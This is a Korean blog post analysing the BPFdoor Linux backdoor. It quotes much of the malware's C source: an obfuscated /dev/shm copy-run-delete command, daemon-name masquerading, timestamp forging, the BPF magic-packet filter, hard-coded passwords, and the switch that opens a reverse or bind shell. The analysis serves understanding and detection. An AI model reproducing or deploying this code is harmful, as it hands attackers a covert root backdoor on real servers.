카테고리 없음

BPFdoor

eulb 2025. 5. 9. 18:50

BPFdoor

BPF(Berkely Packet Filter)

kernel level에서 동작하는 ‘경량화된 가상머신’
네트워크 인터페이스 상 수신되는 패킷을 커널 단에서 직접 필터링 하여 불필요 패킷을 차단

→ FW/IPS와 유사한 기능을 단말에서 수행하기 위한 도구?

해당 동작은 커널단에서 이루어지므로 port listening이 이루어지지 않아 탐지 어려움
<linux/filter.h>를 통해 사용

BPFdoor

https://github.com/gwillgues/BPFDoor/blob/main/bpfdoor.c

해당 기능을 활용하여 Portless Backdoor로 동작
일반적인 demon으로 위장하여 동작하지만 포트를 열지 않음
사전에 설정한 magic sequence 송신 시 event발생
로컬포트를 열거나 reverse shell로 공격자 연결
자체 fork() 시스템콜을 통해 self-healing , 재실행 가능

main()

pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
        pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
        pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
        pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
        pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
        pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
        pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
        pid_path[21] = 0x00; // /var/run/haldrund.pid

        if (access(pid_path, R_OK) == 0) {
                exit(0);
        }

mutex 검증 “haldrun” 프로세스 존재 확인

if (getuid() != 0) {
                return 0;
        }

privilege level이 root권한일때 코드 실행(root권한에서의 실행을 전제)

if (argc == 1) {
                if (to_open(argv[0], "kdmtmpflush") == 0)
                        _exit(0);
                _exit(-1);
        }
int to_open(char *name, char *tmp)
{
        char cmd[256] = {0};
        char fmt[] = {
                0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d, 0x66,
                0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f,
                0x25, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x70,
                0x20, 0x25, 0x73, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
                0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
                0x62, 0x69, 0x6e, 0x2f, 0x63, 0x68, 0x6d, 0x6f, 0x64, 0x20,
                0x37, 0x35, 0x35, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
                0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
                0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73,
                0x20, 0x2d, 0x2d, 0x69, 0x6e, 0x69, 0x74, 0x20, 0x26, 0x26,
                0x20, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d,
                0x66, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d,
                0x2f, 0x25, 0x73, 0x00}; 
                // /bin/rm -f /dev/shm/%s;
                // /bin/cp %s /dev/shm/%s && /bin/chmod 755 /dev/shm/%s && /dev/shm/%s --init && /bin/rm -f /dev/shm/%s

        snprintf(cmd, sizeof(cmd), fmt, tmp, name, tmp, tmp, tmp, tmp);
        system(cmd);
        sleep(2);
        if (access(pid_path, R_OK) == 0)
                return 0;
        return 1;
}

메모리(/dev/shm)상으로 파일을 올리고 자가 삭제
메모리 상에서 동작시킬때 인자를 주어 해당 부분 스킵
해당기능으로 fileless구현

char hash[] = {0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x6e, 0x00}; // justforfun
char hash2[]= {0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00}; // socket
char *self[] = {
                "/sbin/udevd -d",
                "/sbin/mingetty /dev/tty7",
                "/usr/sbin/console-kit-daemon --no-daemon",
                "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
                "dbus-daemon --system",
                "hald-runner",
                "pickup -l -t fifo -u",
                "avahi-daemon: chroot helper",
                "/sbin/auditd -n",
                "/usr/lib/systemd/systemd-journald"
        };

bzero(&cfg, sizeof(cfg));

srand((unsigned)time(NULL));
strcpy(cfg.mask, self[rand()%10]);
strcpy(cfg.pass, hash);
strcpy(cfg.pass2, hash2);

프로세스 이름변경과 magic sequence 설정

setup_time(argv[0]);

set_proc_name(argc, argv, cfg.mask);
static void setup_time(char *file)
{
        struct timeval tv[2];

        tv[0].tv_sec = 1225394236;
        tv[0].tv_usec = 0;

        tv[1].tv_sec = 1225394236;
        tv[1].tv_usec = 0;

        utimes(file, tv);
}
int set_proc_name(int argc, char **argv, char *new)
{
        size_t size = 0;
        int i;
        char *raw = NULL;
        char *last = NULL;

        argv0 = argv[0];

        for (i = 0; environ[i]; i++)
                size += strlen(environ[i]) + 1;

        raw = (char *) malloc(size);
        if (NULL == raw)
                return -1;

        for (i = 0; environ[i]; i++)
        {
                memcpy(raw, environ[i], strlen(environ[i]) + 1);
                environ[i] = raw;
                raw += strlen(environ[i]) + 1;
        }

        last = argv[0];

        for (i = 0; i < argc; i++)
                last += strlen(argv[i]) + 1;
        for (i = 0; environ[i]; i++)
                last += strlen(environ[i]) + 1;

        memset(argv0, 0x00, last - argv0);
        strncpy(argv0, new, last - argv0);

        prctl(PR_SET_NAME, (unsigned long) new);
        return 0;
}

파일의 접근시간과 변경시간을 수정하고
메모리상 실행 인자(argv)와 커널 레벨에서의 프로세스 명을 변경하여 추적을 어렵게 만든다.

if (fork()) exit(0);

데몬화 하여 부모프로세스는 죽고 자식 프로세스만 살아남는다.
이후 setsid()로 세션과 터미널을 분리한다.

init_signal();
signal(SIGCHLD, sig_child);
godpid = getpid();

close(open(pid_path, O_CREAT|O_WRONLY, 0644));

signal(SIGCHLD,SIG_IGN);
setsid();
packet_loop();
return 0;

자식 프로세스에서 핵심 동작을 수행하는 packet_loop()는 이후에 분석하고
signal()을 통해 자식프로세스를 정리할 때 사용할 handler를 설정하고 좀비프로세스가 있다면 정리한다.
“haldrun”프로세스를 빈 파일로 생성하여 mutex를 유지한다.

init_signal()

static void on_terminate(int signo)
{
        terminate();
}
static void init_signal(void)
{
        atexit(terminate);
        signal(SIGTERM, on_terminate);
        return;
}

프로세스 종료시 동작을 정의한다.
종료시, SIGTERM 수신시 terminate()를 호출하도록 수정한다.

static void terminate(void)
{
        if (getpid() == godpid)
                remove_pid(pid_path);

        _exit(EXIT_SUCCESS);
}

메인 프로세스의 경우 PID를 삭제하여 데몬 프로세스의 흔적을 지운 후 즉시 종료한다.

packet_loop()

struct sock_fprog filter;
struct sock_filter bpf_code[] = {
                { 0x28, 0, 0, 0x0000000c },
                { 0x15, 0, 27, 0x00000800 },
                { 0x30, 0, 0, 0x00000017 },
                { 0x15, 0, 5, 0x00000011 },
                { 0x28, 0, 0, 0x00000014 },
                { 0x45, 23, 0, 0x00001fff },
                { 0xb1, 0, 0, 0x0000000e },
                { 0x48, 0, 0, 0x00000016 },
                { 0x15, 19, 20, 0x00007255 },
                { 0x15, 0, 7, 0x00000001 },
                { 0x28, 0, 0, 0x00000014 },
                { 0x45, 17, 0, 0x00001fff },
                { 0xb1, 0, 0, 0x0000000e },
                { 0x48, 0, 0, 0x00000016 },
                { 0x15, 0, 14, 0x00007255 },
                { 0x50, 0, 0, 0x0000000e },
                { 0x15, 11, 12, 0x00000008 },
                { 0x15, 0, 11, 0x00000006 },
                { 0x28, 0, 0, 0x00000014 },
                { 0x45, 9, 0, 0x00001fff },
                { 0xb1, 0, 0, 0x0000000e },
                { 0x50, 0, 0, 0x0000001a },
                { 0x54, 0, 0, 0x000000f0 },
                { 0x74, 0, 0, 0x00000002 },
                { 0xc, 0, 0, 0x00000000 },
                { 0x7, 0, 0, 0x00000000 },
                { 0x48, 0, 0, 0x0000000e },
                { 0x15, 0, 1, 0x00005293 },
                { 0x6, 0, 0, 0x0000ffff },
                { 0x6, 0, 0, 0x00000000 },
        };

filter.len = sizeof(bpf_code)/sizeof(bpf_code[0]);
filter.filter = bpf_code;

if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 1)
                return;


if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) {
                return;
        }

bpf를 설정하는 부분이다.
sock_filter는{opcode 2byte, jt 1byte, jf 1byte, k 4byte}로 이루어진다.

https://www.kernel.org/doc/Documentation/networking/filter.txt

해당 필터를 설정한 후에는 무한반복문으로 넘어가 이벤트를 대기하게 된다.

memset(buff, 0, 512);
psize = 0;
r_len = recvfrom(sock, buff, 512, 0x0, NULL, NULL);

ip = (struct sniff_ip *)(buff+14);
size_ip = IP_HL(ip)*4;
if (size_ip < 20) continue;

                // determine protocl from packet (offset 14)
switch(ip->ip_p) {
                case IPPROTO_TCP:
                                tcp = (struct sniff_tcp*)(buff+14+size_ip);
                                size_tcp = TH_OFF(tcp)*4;
                                mp = (struct magic_packet *)(buff+14+size_ip+size_tcp);
                                break;
                case IPPROTO_UDP:
                                udp = (struct sniff_udp *)(ip+1);
                                mp = (struct magic_packet *)(udp+1);
                                break;
                case IPPROTO_ICMP:
                                pbuff = (char *)(ip+1);
                                mp = (struct magic_packet *)(pbuff+8);
                                break;
                default:
                                break;
                }

버퍼를 세팅하고 패킷에 유형에 따라 magic packet을 설정한 후

**if (mp) {
                if (mp->ip == INADDR_NONE)
                                bip = ip->ip_src.s_addr;
                else
                                bip = mp->ip;

                pid = fork();
                if (pid) {
                                waitpid(pid, NULL, WNOHANG);
                        }
                else {
                                int cmp = 0;
                                char sip[20] = {0};
                                char pname[] = {0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x69, 0x62, 0x65, 0x78, 0x65, 0x63, 0x2f, 0x70, 0x6f, 0x73, 0x74, 0x66, 0x69, 0x78, 0x2f, 0x6d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x00}; // /usr/libexec/postfix/master

                                if (fork()) exit(0);
                       chdir("/");
                       setsid();
                       signal(SIGHUP, SIG_DFL);
                       memset(argv0, 0, strlen(argv0));
                       strcpy(argv0, pname); // sets process name (/usr/libexec/postfix/master) 
                       prctl(PR_SET_NAME, (unsigned long) pname);

                       rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx);
                       rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx);

                       cmp = logon(mp->pass);
                       switch(cmp) {
                                case 1:
                                       strcpy(sip, inet_ntoa(ip->ip_src));
                                       getshell(sip, ntohs(tcp->th_dport));
                                       break;
                                case 0:
                                       scli = try_link(bip, mp->port);
                                       if (scli > 0)
                                              shell(scli, NULL, NULL);
                                       break;
                                 case 2:
                                       mon(bip, mp->port);
                                       break;
                                }
                        exit(0);
                        }
                }**

자식 프로세스인경우 작업을 수행하는데
’/usr/libexec/postfix/master’로 프로세스 이름을 변경하여 시스템 데몬으로 위장하고
rc4를 통한 암호화 통신을 세팅하여 logon()을 실행하게 된다.
이 logon()값에 따라 리버스 쉘, 쉘, 모니터링을 실행하게 된다.

int logon(const char *hash)
{
        int x = 0;
        x = memcmp(cfg.pass, hash, strlen(cfg.pass));
        if (x == 0)
                return 0;
        x = memcmp(cfg.pass2, hash, strlen(cfg.pass2));
        if (x == 0)
                return 1;

        return 2;
}

이 logon()은 메인에서 설정한 hash와 hash2값을 검증하여 동작 방식을 결정하게 된다.